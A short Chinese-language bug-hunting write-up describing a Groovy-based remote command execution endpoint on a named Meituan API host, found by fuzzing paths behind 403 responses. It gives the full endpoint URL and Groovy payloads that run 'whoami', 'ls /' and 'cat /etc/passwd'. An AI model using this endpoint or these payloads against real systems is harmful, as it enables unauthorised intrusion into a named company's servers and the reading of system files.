美团api站点命令执行漏洞

## 0x01

本次简单的分享这个漏洞应为之前分享的SSRF盲攻击跟这个漏洞是一样的，都是利用一模一样的思路得到攻击，所以大家如果没看明白就去公众号“快识”看看那篇SSRF的挖掘文章

在一次业务信息收集时发现了改地址，我利用微信“小程序”小程序可以查看许多URL，这些URL都是没办法被正常的方式发现 ，所以挖洞的时候信息搜集想当重要



## 0x02

正常来说api接口这种站点不是什么不常见的，应该属于主业务，就跟我之前分享的那个SSRF盲攻击一样，都是利用模糊测试得到的URL地址

扫描目录，得到了403



得到403之后在对403下面隐藏的关键再来一次模糊测试，利用参数拼接在后进行FUZZ，得到了最新的完整地址

<http://api.meituan.com/data/msm/ms?groovyInput=int+q%3D9>

这个地址是最后得出的命令执行接口，很多403，404这些下面都隐藏着许多的接口，所以不要放弃对403，404的测试，大的漏洞都是隐藏的很深

## 0x03

链接：<http://api.meituan.com/data/msm/ms?groovyInput=int+q%3D9>



这是个执行groovy语言的交互端：

下面执行系统命令：

执行命令: ls /

Groovy代码是：Process p="ls /".text



执行命令：whoami

代码是：Process p="whoami".execute().text





执行：cat /etc/passwd

代码：Process p="cat /etc/passwd".execute().text



